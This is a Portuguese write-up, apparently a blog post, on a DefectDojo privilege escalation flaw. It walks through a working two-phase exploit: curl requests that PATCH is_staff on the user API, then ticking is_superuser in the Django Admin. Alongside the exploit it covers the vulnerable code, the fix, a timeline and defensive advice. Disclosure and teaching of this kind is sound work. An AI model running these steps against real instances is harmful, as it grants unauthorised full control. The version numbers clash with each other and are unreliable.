O OWASP DefectDojo é uma plataforma open-source de gerenciamento de vulnerabilidades amplamente utilizada por equipes de segurança para centralizar, rastrear e priorizar findings de diversas ferramentas de scanning. Por lidar com dados extremamente sensíveis como relatórios de vulnerabilidades, configurações de infraestrutura e métricas de segurança, a plataforma implementa um modelo de controle de acesso baseado em funções (RBAC).
No entanto, uma falha na validação de campos privilegiados na API REST permitia que um usuário com permissões delegadas limitadas escalasse para superusuário, comprometendo completamente o modelo de segurança da aplicação.
Análise Técnica
Resumo da Vulnerabilidade
A vulnerabilidade foi catalogada como CVE-2026-16764 com o advisory GHSA-w2j3-x3j3-mm43. Possui um score CVSS 3.1 de 7.8 (Alto), classificada sob a CWE-269 (Improper Privilege Management). A versão afetada é a 2.59.0, e as correções estão disponíveis nas versões 2.58.3, 2.58.4 e 3.0.0.
Pré-requisitos
- Conta autenticada no DefectDojo com usuário de baixo privilégio
- Permissão delegada
Configuration → Users (change)(auth.change_user) - Acesso à API REST (
/api/v2/)
O Papel do is_staff no DefectDojo
Para entender a gravidade desta vulnerabilidade, é fundamental compreender o que o flag is_staff representa no contexto do DefectDojo.
Conforme a documentação oficial:
"Users marked as superuser or staff in DefectDojo can see and act on every Asset and Organization regardless of the Authorized Users lists."
Isso significa que o is_staff não é apenas um flag administrativo cosmético, ele concede bypass completo do RBAC. Um usuário com is_staff=true:
- Visualiza todos os Produtos, Engagements, Tests e Findings
- Pode editar/deletar qualquer registro, independente das permissões por equipe
- Acessa o painel Django Admin (
/admin/) - Controla listas de usuários autorizados
Em resumo: is_staff é, funcionalmente, quase equivalente a superusuário.
Código Vulnerável
A vulnerabilidade reside no arquivo dojo/api_v2/serializers.py, na classe UserSerializer.
O Problema: Validação Incompleta
O serializer expunha tanto is_staff quanto is_superuser como campos editáveis, mas apenas validava alterações em is_superuser:
# dojo/api_v2/serializers.py - UserSerializer
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = Dojo_User
fields = (
"id", "username", "first_name", "last_name", "email",
"is_active", "is_staff", "is_superuser", # Ambos expostos
# ...
)
def validate(self, data):
# ...
instance_is_superuser = self.instance.is_superuser if self.instance else False
data_is_superuser = data.get("is_superuser", instance_is_superuser)
if not self.context["request"].user.is_superuser and (
instance_is_superuser or data_is_superuser
):
raise ValidationError(
"Only superusers are allowed to add or edit superusers."
)
# AQUI É O PONTO ONDE NÃO HÁ VALIDAÇÃO EQUIVALENTE PARA is_staff!
return data
O Bypass via Django Admin
Além disso, o acesso ao painel Django Admin (/admin/) era controlado pelo check padrão do Django:
# aqui acontece o comportamento padrão do Django
def has_permission(request):
return request.user.is_active and request.user.is_staff
O Django Admin padrão expõe o formulário de edição de usuários (UserAdmin), que permite a qualquer usuário staff com auth.change_user editar o checkbox is_superuser, um footgun bem conhecido do Django.
O Bypass de Autorização
O arquivo dojo/authorization/query_registrations.py confirma que is_staff é tratado como superusuário para fins de autorização:
# dojo/authorization/query_registrations.py
def _is_unrestricted(user, action):
# ...
if user.is_superuser:
return True
return bool(user.is_staff) # Aqui podemos ver que Staff bypassa TODO o RBAC
Exploração
A exploração ocorre em duas fases:
Fase 1: Auto-Elevação para Staff via API
Um usuário com apenas auth.change_user pode modificar seu próprio is_staff:
- Precisamos obter token de autenticação
LOW_TOKEN=$(curl -s -X POST \
"http://[DEFECTDOJO]/api/v2/api-token-auth/" \
-H "Content-Type: application/json" \
--data '{"username":"attacker","password":"password123"}' \
| jq -r .token)
- Vamos confirmar que is_superuser é bloqueado (esse é o comportamento esperado)
curl -s -X PATCH \
"http://[DEFECTDOJO]/api/v2/users/[USER_ID]/" \
-H "Authorization: Token $LOW_TOKEN" \
-H "Content-Type: application/json" \
--data '{"is_superuser":true}'
A resposta será um JSON contendo a mensagem: "Only superusers are allowed to add or edit superusers."
- Após isso, podemos definir is_staff
curl -s -X PATCH \
"http://[DEFECTDOJO]/api/v2/users/[USER_ID]/" \
-H "Authorization: Token $LOW_TOKEN" \
-H "Content-Type: application/json" \
--data '{"is_staff":true}'
A resposta será: 200 OK - Usuário agora é staff!
Fase 2: Escalação para Superusuário via Django Admin
Com is_staff=true, o atacante agora tem acesso ao /admin/:
- Acessar
http://[DEFECTDOJO]/admin/ - Navegar para
Auth → Users → [seu usuário] - Marcar o checkbox
is_superuser - Salvar
O formulário padrão do UserAdmin não bloqueia esta ação para usuários staff com change_user, completando a escalação para superusuário.
Resultado
O vídeo abaixo demonstra a exploração completa, desde uma conta com privilégios mínimos até o acesso total como superusuário.
Com base nisso, foi criado um exploit para exploração automática da escalação de privilégios no app.

Impacto
A exploração bem-sucedida resulta em controle total e persistente da instância DefectDojo:
| Impacto | Descrição |
|---|---|
| Confidencialidade | Acesso a todos os findings, relatórios de vulnerabilidades e dados de scanning de todas as equipes |
| Integridade | Capacidade de modificar, deletar ou ocultar findings críticos |
| Disponibilidade | Possibilidade de corromper dados ou bloquear acesso de outros usuários |
| Persistência | Criação de backdoors via novos superusuários |
Cenários de Ataque
- Insider Threat: Funcionário com acesso limitado escala privilégios para acessar dados de outras equipes
- Comprometimento de Conta: Atacante que compromete uma conta de "helpdesk" escala para controle total
- Supply Chain: Em ambientes multi-tenant, um cliente malicioso compromete dados de outros clientes
Correção Implementada
O fix foi implementado no commit 68a272f e PR #14952.
1. Validação de is_staff no UserSerializer
# dojo/api_v2/serializers.py - CORRIGIDO
def validate(self, data):
request = self.context["request"]
# Validação existente para is_superuser
instance_is_superuser = self.instance.is_superuser if self.instance else False
data_is_superuser = data.get("is_superuser", instance_is_superuser)
if not request.user.is_superuser and (instance_is_superuser or data_is_superuser):
raise ValidationError("Only superusers are allowed to add or edit superusers.")
# NOVO: Validação equivalente para is_staff
instance_is_staff = self.instance.is_staff if self.instance else False
data_is_staff = data.get("is_staff", instance_is_staff)
if not request.user.is_superuser and data_is_staff != instance_is_staff:
raise ValidationError("Only superusers are allowed to add or edit staff users.")
return data
2. Restrição do Django Admin para Superusuários
# dojo/admin.py - CORRIGIDO
def _admin_site_has_permission(request):
# Antes: is_active and is_staff
# Depois: APENAS superusuários
return request.user.is_active and request.user.is_superuser
admin.site.has_permission = _admin_site_has_permission
3. Django Admin Desabilitado por Padrão
# dojo/settings/settings.dist.py
# Antes
DD_DJANGO_ADMIN_ENABLED = (bool, True)
# Depois
DD_DJANGO_ADMIN_ENABLED = (bool, False)
4. Testes Unitários Adicionados
O PR incluiu 169 linhas de testes cobrindo:
- Rejeição de auto-elevação de
is_staff - Rejeição de elevação de terceiros
- Rejeição na criação com
is_staff=True - Permissão para superusuários (controle positivo)
- Bloqueio de staff não-superusuário no
/admin/
Timeline
| Data | Evento |
|---|---|
| 2026-06-02 | Vulnerabilidade reportada via HackerOne |
| 2026-06-05 | Resposta recebida e finding validada |
| 2026-06-08 | Versões 2.58.3 e 3.0.0 lançadas |
| 2026-06-28 | Advisory GHSA-w2j3-x3j3-mm43 publicado |
| 2026-07-23 | CVE-2026-16764 atribuído |
Recomendações
Para Administradores DefectDojo
- Atualizar para versão 2.58.3, 2.58.4 ou 3.0.0+
- Auditar logs de API buscando requisições PATCH em
/api/v2/users/comis_staff - Revisar usuários com is_staff e remover o flag de contas que não necessitam
- Manter DD_DJANGO_ADMIN_ENABLED=false a menos que absolutamente necessário
- Implementar monitoramento de alterações em flags privilegiados
Para Desenvolvedores
- Sempre validar todos os campos privilegiados, não apenas os mais óbvios
- Tratar
is_staffcomo equivalente a superusuário em aplicações Django - Customizar o Django Admin para restringir edição de campos sensíveis
- Implementar testes de segurança para validação de campos privilegiados
- Considerar desabilitar o Django Admin em produção
Verificação de Exposição
# Verificar versão do DefectDojo
curl -s "http://[DEFECTDOJO]/api/v2/" | grep -i version
# Verificar se /admin/ está acessível
curl -s -I "http://[DEFECTDOJO]/admin/"
Vamos Praticar
O Hacking Club é uma plataforma de treinamento voltada ao desenvolvimento prático de profissionais de cibersegurança. O desafio Dojo reproduz, em um ambiente controlado, um serviço vulnerável à falha abordada neste artigo, permitindo que pesquisadores e profissionais consolidem os conceitos apresentados por meio da exploração da vulnerabilidade em um laboratório seguro.
Referências
- Github Exploit - CVE-2026-16764
- Desafio Dojo - Hackingclub
- CVE-2026-16764 - NVD
- GHSA-w2j3-x3j3-mm43 - GitHub Security Advisory
- PR #14952 - Fix Commit
- Commit 68a272f
- DefectDojo Documentation - Authorized Users
- CWE-269: Improper Privilege Management